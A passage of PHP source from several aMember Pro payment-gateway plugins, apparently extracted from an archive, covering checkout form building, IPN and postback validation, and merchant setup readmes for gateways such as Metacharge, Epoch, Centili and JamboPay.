sprintf("%03d", $count) . "M"; } elseif ($period == 'y'){ return sprintf("%03d", $count * 12) . "M"; } else { Am_Di::getInstance()->errorLogTable->log("METACHARGE. $period is not supported"); throw new Am_Exception_InternalError(); } } elseif (preg_match('/^\d+$/', $days)) return sprintf("%03d", $days) . "D"; else { Am_Di::getInstance()->errorLogTable->log("METACHARGE. $period is not supported"); throw new Am_Exception_InternalError(); } } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::LIVE_URL); $u = $invoice->getUser(); $a->intInstID = $this->config['installation_id']; $a->strCartID = $invoice->public_id; $a->strCurrency = $invoice->currency; $a->strDesc = $invoice->getLineDescription(); $a->strEmail = $u->email; $a->strCardHolder = $u->getName(); $a->strAddress = $u->street; $a->strCity = $u->city; $a->strState = $u->state; $a->strCountry = $u->country; $a->strPostcode = $u->zip; $a->intTestMode = $this->getConfig('testing') ? '1' : ''; $a->fltAmount = sprintf('%.3f', $invoice->first_total); //recurring if(!is_null($invoice->second_period)) { $a->intRecurs = '1'; $a->intCancelAfter = substr($invoice->rebill_times,3); $a->fltSchAmount1 = sprintf('%.3f', $invoice->second_total); $a->strSchPeriod1 = $this->metacharge_get_period($invoice->first_period); $a->fltSchAmount = sprintf('%.3f', $invoice->first_total); $a->strSchPeriod = $this->metacharge_get_period($invoice->second_period); } $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Metacharge($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Metacharge_Thanks($this, $request, $response, $invokeArgs); } public function getReadme() { $ipn = Am_Html::escape($this->getPluginUrl('ipn')); $thanks = Am_Html::escape($this->getPluginUrl('thanks')); return <<Metacharge payment plugin configuration 1. Enable and configure Metacharge Plugin in aMember control panel. 2. PRN is enabled and configured on a per-installation basis via the Merchant Extranet. Click on Account Management and then Installations, then select the relevant installation from the pop-up menu. Please complete the following fields to enable PRNs: - Response URL: The URL where you want the PRN to be sent: $ipn - Scheduled Payment Response URL: Configured as above if subscriptions have been enabled on your installation. 3. Go to Merchant Extranet. Click Account Management then Installations and select the installation you wish to configure from the pop-up menu. Please complete the following fields to redirect customer to your website after completed transaction. - return URL: $thanks 4. We recommend that you perform HTTP Basic Authorisation on your server to ensure that the response is coming from a trusted source. If you have enabled HTTP Basic Authorisation on your server, you will need to specify: - Response HTTP Auth Username - Response HTTP Auth Password CUT; } public function getRecurringType() { return self::REPORTS_REBILL; } public function getSupportedCurrencies() { return array('USD', 'GBP', 'EUR', 'JPY', 'AUD'); } } class Am_Paysystem_Transaction_Metacharge extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get("strCartID"); } public function getUniqId() { return $this->request->get("intTransID"); } public function validateSource() { // do HTTP Basic Authorisation if (!isset($_SERVER['PHP_AUTH_USER'])) { // HTTP Authentication header('WWW-Authenticate: Basic realm="aMember Metacharge PRN response"'); header('HTTP/1.0 401 Unauthorized'); print "Error - HTTP Auth Username is not entered"; exit(); } // checking name and password if( ($_SERVER['PHP_AUTH_USER'] != $this->plugin->getConfig('auth_username')) || ($_SERVER['PHP_AUTH_PW'] != $this->plugin->getConfig('auth_password'))){ header('WWW-Authenticate: Basic realm="aMember Metacharge PRN response"'); header('HTTP/1.0 401 Unauthorized'); print "Error - Incorrect HTTP Auth username or password entered"; exit(); } return ($this->request->get("intInstID") == $this->plugin->getConfig('installation_id')); } public function validateStatus() { return ($this->request->get("intStatus") == 1); } public function validateTerms() { return doubleval($this->request->get("fltAmount")) == doubleval($this->invoice->isFirstPayment() ? $this->invoice->first_total : $this->invoice->second_total); } } class Am_Paysystem_Transaction_Metacharge_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function findInvoiceId() { return $this->request->get("strCartID"); } public function getUniqId() { return $this->request->get("intTransID"); } public function validateSource() { return true; } public function validateStatus() { if($this->request->get("intStatus") != 1) Am_Mvc_Response::redirectLocation ($this->plugin->getRootUrl() . "/cancel?id=" . $this->invoice->getSecureId('CANCEL')); return true; } public function validateTerms() { return true; } }PK\2˖payment/paymento.phpnu[addText('shop_reference') ->setLabel('Shop ID') ->addRule('required'); $form->addText('shop_name') ->setLabel('Shop Name') ->addRule('required'); $form->addSelect('type') ->setLabel('Payment Type') ->loadOptions(array( '' => '-- Please Select --', 'ecard' => 'Card', 'etransfer' => 'Bank Transfer', 'payment' => 'User Choice', )) ->addRule('required'); $form->addSelect('lang') ->setLabel('Language') ->loadOptions(array( '' => '-- Please Select --', 'pl' => 'Polish', 'en' => 'English', 'cz' => 'Czech', 'de' => 'Deutsch', 'dk' => 'Denmark', 'fi' => 'Deutsch', 'fr' => 'France', 'hu' => 'Hungary', 'it' => 'Italiano', 'ro' => 'Romanian', 'se' => 'Swedish', 'sk' => 'Slovakia', 'sl' => 'Slovenia', 'sp' => 'Spain', )) ->addRule('required'); } public function isConfigured() { return $this->getConfig('shop_reference') && $this->getConfig('shop_name') && $this->getConfig('type') && $this->getConfig('lang'); } protected function getPaymentUrl() { return sprintf(self::URL, $this->getConfig('lang'), $this->getConfig('type')); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { list($action, $status, $id) = explode("-", $request->getActionName()); if ($action != 'status') { if( ($action != 'ipn' && $action != 'thanks') || $request->get('transaction_status') == 'SETTLED' ){ parent::directAction($request, $response, $invokeArgs); } return; } if(!in_array($status, array('return', 'ok', 'fail'))) { throw new Am_Exception_InternalError("Bad status-request $status"); } if(!$id) { throw new Am_Exception_InternalError("Invoice ID is absent"); } if(!($this->invoice = $this->getDi()->invoiceTable->findFirstByPublicId($id))) { throw new Am_Exception_InternalError("Invoice not found by id [$id]"); } switch ($status) { case 'return': $url = ($request->get('transactionStatus') == 'REJECTED') ? $this->getCancelUrl() : $this->getReturnUrl(); break; case 'ok': $url = $this->getReturnUrl(); break; case 'fail': $url = $this->getCancelUrl(); break; } $response->setRedirect($url); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $vars = array( 'amount' => $invoice->first_total, 'currency' => $invoice->currency, 'shop_reference_card' => $this->getConfig('shop_reference'), 'shop_reference_transfer' => $this->getConfig('shop_reference'), 'shop_name' => $this->getConfig('shop_name'), 'transaction_description' => $invoice->getLineDescription(), 'order_id' => $invoice->public_id, 'return_address' => $this->getPluginUrl('status-return-' . $invoice->public_id), 'success_url' => $this->getPluginUrl('status-ok-' . $invoice->public_id), 'failure_url' => $this->getPluginUrl('status-fail-' . $invoice->public_id), 'customer_first_name' => $invoice->getUser()->name_f, 'customer_second_name' => $invoice->getUser()->name_l, 'customer_email' => $invoice->getUser()->email, ); $this->getDi()->errorLogTable->log('paymento-request: ['.print_r($vars, true). ']'); $action = new Am_Paysystem_Action_Form($this->getPaymentUrl()); foreach ($vars as $key => $value) { $action->$key = $value; } $result->setAction($action); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { $u = $this->getPluginUrl('ipn'); return <<$u NOTE: plugin does not support recurring payments. CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paymento($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paymento($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Paymento extends Am_Paysystem_Transaction_Incoming { protected $result; public function process() { $this->result = $this->request->getPost(); parent::process(); } public function validateSource() { return $this->plugin->getConfig('shop_reference') == $this->result['shop_reference']; } public function findInvoiceId() { return $this->result['order_id']; } public function validateStatus() { return $this->result['transaction_status'] == 'SETTLED'; } public function getUniqId() { return (string) $this->result['transaction_reference']; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->result['amount']); return true; } } PK\H} } payment/chinapaymentservices.phpnu[addText('merchant_id', array('size' => 40))->setLabel('Your ChinaPaymentServices Merchant ID'); $form->addText('site_id', array('size' => 40))->setLabel('Your ChinaPaymentServices Site ID'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $a = new Am_Paysystem_Action_Form(self::LIVE_URL); $a->Merchant = $this->getConfig('merchant_id'); $a->Site = $this->getConfig('site_id'); $a->DirectTransfer = 'true'; $a->Amount = $invoice->first_total; $a->Currency = $invoice->currency; $a->TransRef = $invoice->public_id; $a->Product = $invoice->getLineDescription(); $a->PaymentType = 'cup'; $a->AttemptMode = '1'; $a->TestTrans = $this->getConfig('testing') ? '1' : '0'; $a->__set("customer[email]", $user->email); $a->__set("customer[first_name]", $user->name_f); $a->__set("customer[last_name]", $user->name_l); $a->__set("customer[address1]", $user->street); $a->__set("customer[address2]", $user->street2); $a->__set("customer[city]", $user->city); $a->__set("customer[state]", $user->state); $a->__set("customer[postcode]", $user->postcode); $a->__set("customer[country]", $user->country); $a->__set("customer[phone]", $user->phone); $a->ReturnUrlFailure = $this->getCancelUrl(); $a->ReturnUrlSuccess = $this->getPluginUrl('thanks'); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Chinapaymentservices_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('USD'); } } class Am_Paysystem_Transaction_Chinapaymentservices_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { } public function validateSource() { } public function validateStatus() { } public function validateTerms() { } }PK\[$payment/centili.phpnu[billingPlanTable->customFields()->add( new Am_CustomFieldText( 'centili_apikey', 'Centili Api Key', 'you have to create similar service in Centili and enter its Api Key here') ); Am_Di::getInstance()->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'centili_package', 'Centili Package Index', 'zero based index of package for service in Centili') ); Am_Di::getInstance()->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'centili_signkey', 'Centili Signature Key', 'you have to create similar service in Centili and enter its Signature Key here') ); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { foreach ($invoice->getItems() as $item) { /* @var $item InvoiceItem */ if (!$item->getBillingPlanData('centili_apikey')) return "item [" . $item->item_title . "] has no related Centili Api Key configured"; } } public function _initSetupForm(Am_Form_Setup $form) { //nop } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_HtmlTemplate('layout.phtml'); $apikey = $this->invoice->getItem(0)->getBillingPlanData('centili_apikey'); $package = (int)$this->invoice->getItem(0)->getBillingPlanData('centili_package'); $a->title = sprintf('Pay with %s', $this->getTitle()); $a->layoutNoMenu = true; $query = http_build_query(array( 'api' => $apikey, 'clientId' => $invoice->public_id, 'package' => $package, 'packagelock' => 'true', )); $a->content = << CUT; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Centili($this, $request, $response, $invokeArgs); } function sign($vars, $key) { ksort($vars, SORT_STRING); return hash_hmac('sha1', implode('', $vars), $key); } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $thanks = $this->getDi()->url('thanks'); return <<$thanks Payment result notification URL: $ipn You can do it with 'Advanced Integration Setup' on tab 'Setup' of service configuration. CUT; } } class Am_Paysystem_Transaction_Centili extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getParam('transactionid'); } public function validateSource() { $this->_checkIp(<<request->getRequestOnlyParams(); $sign = $p['sign']; $bp = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('centili_apikey', $p['service']); if (!$bp) return false; unset($p['sign']); $expect = $this->getPlugin()->sign($p, $bp->data()->get('centili_signkey')); return $expect == $sign; } public function validateTerms() { return true; } public function validateStatus() { return $this->request->getParam('status') == 'success'; } public function findInvoiceId() { return $this->request->getParam('clientid'); } public function processValidated() { switch ($this->request->getParam('event_type')) { case 'one_off' : case 'opt_in' : case 'recurring_billing' : $this->invoice->addPayment($this); break; case 'opt_out' : $this->invoice->setCancelled(); break; } } }PK\i}-4(4(payment/warrior-plus.phpnu[paysystemList->getList() as $k=>$p){ if($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'wsopro_item_name', "WSO Pro Item Name", "You should specify exactly the same name as your WSO Pro Listing Item Name" ,array(/*,'required'*/) )); } function getConfig($key = null, $default = null) { switch($key){ case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } public function getSupportedCurrencies() { return array( 'AUD', 'BRL', 'CAD', 'CZK', 'DKK', 'EUR', 'HKD', 'HUF', 'ILS', 'JPY', 'MYR', 'MXN', 'NOK', 'NZD', 'PHP', 'PLN', 'GBP', 'SGD', 'SEK', 'CHF', 'TWD', 'THB', 'USD', 'TRY'); } public function _initSetupForm(Am_Form_Setup $form) { $plugin = $this->getId(); $form->addText("business", array('size'=>40)) ->setLabel("Your PayPal Email Address"); $form->addTextarea("alt_business", array('cols'=>40, 'rows'=>3,)) ->setLabel("Other Paypal Email addresses that you have registered in WSO PRO"); $form->addAdvCheckbox("dont_verify") ->setLabel( "Disable IPN verification\n" . "Usually you DO NOT NEED to enable this option. However, on some webhostings PHP scripts are not allowed to contact external web sites. It breaks functionality of the PayPal payment integration plugin, and aMember Pro then is unable to contact PayPal to verify that incoming IPN post is genuine. In this case, AS TEMPORARY SOLUTION, you can enable this option to don't contact PayPal server for verification. However, in this case \"hackers\" can signup on your site without actual payment. So if you have enabled this option, contact your webhost and ask them to open outgoing connections to www.paypal.com port 80 ASAP, then disable this option to make your site secure again."); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->get('ACK')) return new Am_Paysystem_WsoPro_Transaction_PRO($this, $request, $response, $invokeArgs); else return new Am_Paysystem_WsoPro_Transaction($this, $request, $response, $invokeArgs); } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Warrior+ WSO PRO integration Each WSO PRO listing which you want to integrate with aMember should have separate product created in aMember CP -> Manage Products -> Edit Product Both WSO PRO listing and aMember Product should have exactly the same price/period settings. aMember CP -> Manage Products -> Edit Product -> WSO PRO Item Name should be exactly the same as you have in WSO PRO -> my listings -> Item Name IPN Forwarding URL for WSO listing should be set to: $url CUT; } public function canAutoCreate() { return true; } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } } class Am_Paysystem_WsoPro_Transaction extends Am_Paysystem_Transaction_Paypal { protected $_autoCreateMap = array( 'name_f' => 'first_name', 'name_l' => 'last_name', 'email' => 'payer_email', 'street' => 'addres_street', 'zip' => 'address_zip', 'state' => 'address_state', 'country' => 'address_country_code', 'city' => 'address_city', 'user_external_id' => 'payer_id', 'invoice_external_id' => array('subscr_id', 'txn_id') , ); public function processValidated() { switch ($this->txn_type) { case self::TXN_SUBSCR_SIGNUP: if ($this->invoice->first_total <= 0) // no payment will be reported if ($this->invoice->status == Invoice::PENDING) // handle only once $this->invoice->addAccessPeriod($this); // add first trial period break; case self::TXN_SUBSCR_EOT: $this->invoice->stopAccess($this); break; case self::TXN_SUBSCR_CANCEL: $this->invoice->setCancelled(true); break; case self::TXN_WEB_ACCEPT: case self::TXN_SUBSCR_PAYMENT: switch ($this->request->payment_status) { case 'Completed': $this->invoice->addPayment($this); break; default: } break; } switch($this->request->payment_status){ case 'Refunded': case 'Chargeback': $this->invoice->addRefund($this, $this->request->parent_txn_id, $this->getAmount()); break; } } public function validateStatus() { $status = $this->request->getFiltered('status'); return $status === null || $status === 'Completed'; } public function validateTerms() { $currency = $this->request->getFiltered('mc_currency'); if ($currency && (strtoupper($this->invoice->currency) != $currency)) throw new Am_Exception_Paysystem_TransactionInvalid("Wrong currency code [$currency] instead of {$this->invoice->currency}"); if ($this->txn_type == self::TXN_SUBSCR_PAYMENT) { $isFirst = $this->invoice->first_total && !$this->invoice->getPaymentsCount(); $expected = $isFirst ? $this->invoice->first_total : $this->invoice->second_total; if ($expected > ($amount = $this->getAmount())) throw new Am_Exception_Paysystem_TransactionInvalid("Payment amount is [$amount], expected not less than [$expected]"); } elseif ($this->txn_type == self::TXN_SUBSCR_SIGNUP) { if ($this->invoice->first_total != $this->request->get('mc_amount1')) return false; if ("" != $this->request->get('mc_amount2')) return false; if ($this->invoice->second_total != $this->request->get('mc_amount3')) return false; if ($this->invoice->currency != $this->request->get('mc_currency')) return false; $p1 = new Am_Period($this->invoice->first_period); $p3 = new Am_Period($this->invoice->second_period); try { $p1 = $p1->getCount() . ' ' . $this->plugin->getPeriodUnit($p1->getUnit()); $p3 = $p3->getCount() . ' ' . $this->plugin->getPeriodUnit($p3->getUnit()); } catch (Exception $e) { } if ($p1 != $this->request->get('period1')) return false; if ("" != $this->request->get('period2')) return false; if ($p3 != $this->request->get('period3')) return false; } return true; } public function autoCreateGetProducts() { $item_name = $this->request->get('item_name'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('wsopro_item_name', $item_name); if($billing_plan) return array($billing_plan->getProduct()); } function validateBusiness() { return true; } } class Am_Paysystem_WsoPro_Transaction_PRO extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name_f' => 'FIRSTNAME', 'name_l' => 'LASTNAME', 'email' => 'EMAIL', 'user_external_id' => 'PAYERID', 'invoice_external_id' => array('PROFILEID', 'TRANSACTIONID') , ); public function getUniqId() { return @$this->request->get('TRANSACTIONID'); } public function getAmount() { return @$this->request->get('AMT'); } public function processValidated() { $this->invoice->addPayment($this); } public function validateStatus() { if (!in_array($this->request->get('ACK'), array('Success', 'SuccessWithWarning'))) throw new Am_Exception_Paysystem_TransactionInvalid($this->request->get('L_SHORTMESSAGE0')); return true; } public function validateTerms() { return true; } public function autoCreateGetProducts() { $item_name = $this->request->get('WP_ITEM_NAME'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('wsopro_item_name', $item_name); if($billing_plan) return array($billing_plan->getProduct()); } function validateBusiness() { return true; } public function validateSource() { return true; } public function findInvoiceId(){ return $this->request->get('PROFILEID', $this->request->get('TRANSACTIONID')); } } PK\=&&payment/epoch.phpnu[getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('epoch_product_id', "Epoch Product ID", "you must create the same product in Epoch and enter its number here")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('epoch_site_subcat', "Epoch Site Subcat", "leave empty if you are not sure")); } public function canAutoCreate() { return true; } public function canUpgrade(Invoice $invoice, InvoiceItem $item, ProductUpgrade $upgrade) { return false; } public function getRecurringType() { return self::REPORTS_REBILL; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("co_code") ->setLabel("Company code\n" . 'Three (3) alphanumeric ID assigned by Epoch (Company code does not change)'); $form->addAdvCheckbox("testing") ->setLabel("Testing\n" . 'enable/disable payments with test credit cars ask Epoch support for test credit card numbers'); $form->addAdvCheckbox("ach_form") ->setLabel("Enable ACH Flag\n" . 'If this field is passed in it will enable online check (ACH) processing. Online check processing is only valid for US'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $a->co_code = $this->getConfig('co_code'); $a->pi_code = $invoice->getItem(0)->getBillingPlanData('epoch_product_id'); if($site_subcat = $invoice->getItem(0)->getBillingPlanData('epoch_site_subcat')) $a->site_subcat = $site_subcat; $a->reseller = 'a'; $a->zip = $invoice->getZip(); $a->email = $invoice->getEmail(); $a->country = $invoice->getCountry(); $a->no_userpass = 1; $a->name = $invoice->getName(); $a->street = $invoice->getStreet(); $a->phone = $invoice->getPhone(); $a->city = $invoice->getCity(); $a->state = $invoice->getState(); $a->pi_returnurl = $this->getPluginUrl("thanks"); $a->response_post = 1; $a->x_payment_id = $invoice->public_id; if($this->getConfig('ach_form')) { $a->ach_form = 1; } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Epoch_IPN($this, $request, $response, $invokeArgs); } public function createThanksTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Epoch_Thanks($this, $request, $response, $invokeArgs); } function getReadme(){ $url = $this->getDi()->url('payment/epoch/ipn',null,true,true); return <<Epoch payment plugin ---------------------------------------------------------------------- - Set up products with the same settings as you have defined in aMember. Then enter Epoch Product IDs into corresponding field in aMember Product settings (aMember Cp -> Manage Products->Edit product -> Billing terms) - Set up the data postback URL to {$url} CUT; } } class Am_Paysystem_Transaction_Epoch_IPN extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'email' => 'email', 'name' => 'name', 'country' => 'country', 'state' => 'state', 'zip' => 'zip', 'state' => 'state', 'user_external_id' => 'email', 'invoice_external_id' => 'order_id', ); public function getUniqId() { if($this->request->get('transaction_id')) { return $this->request->get('transaction_id'); } else { return $this->request->get('ets_transaction_id'); } } function findInvoiceId() { if($this->request->get("x_payment_id")) { return $this->request->get("x_payment_id"); } elseif($this->request->get("ets_transaction_id")) { if($invoice = $this->getPlugin()->getDi()->invoiceTable->findByReceiptIdAndPlugin($this->request->get("ets_transaction_id"), $this->getPlugin()->getId())) return $invoice->public_id; if($member_id = $this->request->get('ets_member_idx')) { if($invoice = $this->getPlugin()->getDi()->invoiceTable->findFirstByData(Am_Paysystem_Epoch::EPOCH_MEMBER_ID, $member_id)) return $invoice->public_id; } } elseif($member_id = $this->request->get('mcs_or_idx')) { if($invoice = $this->getPlugin()->getDi()->invoiceTable->findFirstByData(Am_Paysystem_Epoch::EPOCH_MEMBER_ID, $member_id)) return $invoice->public_id; } } public function getIps() { $req = new Am_HttpRequest('https://epoch.com/ip_list.php'); $res = $req->send(); $body = explode('|', $res->getBody()); $ips = array(); foreach($body as $ip) { if(filter_var($ip, FILTER_VALIDATE_IP)) { $ips[] = $ip; } else { $ips[] = array($ip.'0',$ip.'255'); } } // # ULA-46577-159 This IP is used to send manual postbacks when Epoch conducts tests and submits duplicate postbacks during the troubleshooting process. $ips[] = '208.236.105.27'; return $ips; } public function validateSource() { $ips = $this->plugin->getDi()->cacheFunction->call(array($this, 'getIps'), array(), array(), 24*3600); $this->_checkIp($ips); return true; } public function validateStatus() { if($this->request->get("ets_transaction_id") || $this->request->get('mcs_or_idx')) return true; if(substr($this->request->get('ans'),0,1) != 'Y') throw new Am_Exception_Paysystem_TransactionInvalid('Transaction declined!'); if((strstr($this->request->get('ans'), 'YGOODTEST') !== false) && !$this->getPlugin()->getConfig('testing')) throw new Am_Exception_Paysystem_TransactionInvalid("Received test result but test mode is not enabled!"); return true; } public function validateTerms() { return true; } function processValidated() { if($member_id = $this->request->get('member_id')) { $this->invoice->data()->set(Am_Paysystem_Epoch::EPOCH_MEMBER_ID, $member_id)->update(); } /* C = Credit to Customers Account D = Chargeback Transaction F = Initial Free Trial Transaction I = Standard Initial Recurring Transaction J = Denied Trial Conversion K = Cancelled Trial N = Non-Initial Recurring Transaction O = Non-Recurring Transaction T = Initial Paid Trial Order Transaction U = Initial Trial Conversion X = Returned Check Transaction */ if ($ets_transaction_type = $this->request->get("ets_transaction_type")) { if (in_array($this->request->get("ets_transaction_type"), array('U', 'N'))) $this->invoice->addPayment($this); if (in_array($this->request->get("ets_transaction_type"), array('K'))) $this->invoice->setCancelled(); if (in_array($this->request->get("ets_transaction_type"), array('D', 'C', 'X', 'A'))) $this->invoice->addRefund($this, $this->request->get("ets_ref_trans_ids"), abs($this->request->get("ets_amountlocal"))); } elseif ($mcs_mcs_memberstype = $this->request->get("mcs_memberstype")) { $this->invoice->setCancelled(); } elseif ($ets_payment_type = $this->request->get("ets_payment_type")) { if (in_array($ets_payment_type, array('X', 'D'))) { $this->invoice->addRefund($this, $this->request->get("ets_ref_trans_ids"), abs($this->request->get("ets_amountlocal"))); $this->invoice->setCancelled(); } if (in_array($ets_payment_type, array('A', 'C'))) $this->invoice->addRefund($this, $this->request->get("ets_ref_trans_ids"), abs($this->request->get("ets_amountlocal"))); } else { $this->invoice->addPayment($this); } print "OK"; } public function autoCreateGetProducts() { $Id = $this->request->getFiltered('pi_code'); if (empty($Id)) return; $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('epoch_product_id', $Id); if (!$pl) return; $pr = $pl->getProduct(); if (!$pr) return; return array($pr); } } class Am_Paysystem_Transaction_Epoch_Thanks extends Am_Paysystem_Transaction_Epoch_IPN { public function validateSource() { return true; } public function processValidated() { return; } }PK\bpayment/jambopay.phpnu[getConfig('business') && $this->getConfig('key'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('business') ->setLabel("JamboPay Account ID (Email address)"); $form->addPassword('key') ->setLabel("Shared Key"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $params = array( 'jp_item_type' => 'cart', 'jp_item_name' => $invoice->getLineDescription(), 'order_id' => $invoice->public_id, 'jp_business' => $this->getConfig('business'), 'jp_payee' => $invoice->getEmail(), 'jp_shipping' => '', 'jp_amount_1' => $invoice->currency == 'KES' ? $invoice->first_total : $this->exchange($invoice->first_total), 'jp_amount_2' => 0, 'jp_amount_5' => $invoice->currency == 'USD' ? $invoice->first_total : 0, 'jp_rurl' => $this->getPluginUrl('thanks'), 'jp_furl' => $this->getCancelUrl(), 'jp_curl' => $this->getCancelUrl() ); $invoice->data()->set('jambopay-terms-KES', $params['jp_amount_1']); $invoice->data()->set('jambopay-terms-USD', $params['jp_amount_5']); $invoice->save(); foreach ($params as $k => $v) { $a->addParam($k, $v); } $result->setAction($a); } function exchange($val) { $date = sqlDate('now'); $kes = $this->getDi()->currencyExchangeTable->getRate('KES', $date); $usd = $this->getDi()->currencyExchangeTable->getRate('USD', $date); return moneyRound($val * $kes / $usd); } function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return null; } function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Jambopay_Thanks($this, $request, $response, $invokeArgs); } function calculateSignature($params) { return md5(utf8_encode(implode('', array( $params['JP_MERCHANT_ORDERID'], $params['JP_AMOUNT'], $params['JP_CURRENCY'], $this->getConfig('key'), $params['JP_TIMESTAMP'] )))); } function getReadme() { $link = $this->getDi()->url('admin-currency-exchange'); return <<here. CUT; } } class Am_Paysystem_Transaction_Jambopay_Thanks extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('JP_MERCHANT_ORDERID'); } public function getUniqId() { return $this->request->get('JP_TRANID'); } public function validateSource() { $params = $this->request->getRequestOnlyParams(); $sig = $params['JP_PASSWORD']; return $sig == $this->getPlugin()->calculateSignature($params); } public function validateStatus() { return true; } public function validateTerms() { return (float)$this->invoice->data()->get('jambopay-terms-' . $this->request->get('JP_CURRENCY')) == (float)$this->request->get('JP_AMOUNT'); } }PK\2mx^^payment/i-payout.phpnu[addText('merchant')->setLabel('Merchant Name'); $form->addText('MerchantGUID')->setLabel('API Merchant ID'); $form->addPassword('MerchantPassword')->setLabel('API Merchant Password'); $form->addAdvCheckbox('testing') ->setLabel("Is it a Sandbox(Testing) Account?"); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('USD', 'EUR', 'GBP', 'AUD', 'JPY', 'CAD', 'CNY', 'HKD', 'CHF', 'NZD', 'THB', 'SGD'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); if (!$user->data()->get(self::DATA_KEY)) { //create user $req = new Am_HttpRequest($this->url(), Am_HttpRequest::METHOD_POST); $req->addPostParameter(array( 'fn' => 'eWallet_RegisterUser', 'MerchantGUID' => $this->getConfig('MerchantGUID'), 'MerchantPassword' => $this->getConfig('MerchantPassword'), 'UserName' => $user->login, 'FirstName' => $user->name_f, 'LastName' => $user->name_l, 'EmailAddress' => $user->email, 'DateOfBirth' => '1/1/1900' //unknown )); $this->logRequest($req); $resp = $req->send(); $this->logResponse($resp); if ($resp->getStatus() != 200) { $result->setFailed('Incorrect HTTP response status: ' . $resp->getStatus()); return; } parse_str($resp->getBody(), $tmp); parse_str($tmp['response'], $params); if ($params['m_Code'] != 'NO_ERROR') { $result->setFailed($params['m_Text']); return; } $user->data()->set(self::DATA_KEY, $params['TransactionRefID'])->update(); } //create invoice $req = new Am_HttpRequest($this->url(), Am_HttpRequest::METHOD_POST); $arrItems = array( 'Amount' => $invoice->first_total, 'CurrencyCode' => $invoice->currency, 'ItemDescription' => $invoice->getLineDescription(), 'MerchantReferenceID' => $invoice->public_id, 'UserReturnURL' => $this->getReturnUrl(), 'MustComplete' => 'false', 'IsSubscription' => 'false' ); $req->addPostParameter(array( 'fn' => 'eWallet_AddCheckoutItems', 'MerchantGUID' => $this->getConfig('MerchantGUID'), 'MerchantPassword' => $this->getConfig('MerchantPassword'), 'UserName' => $user->login, 'arrItems' => 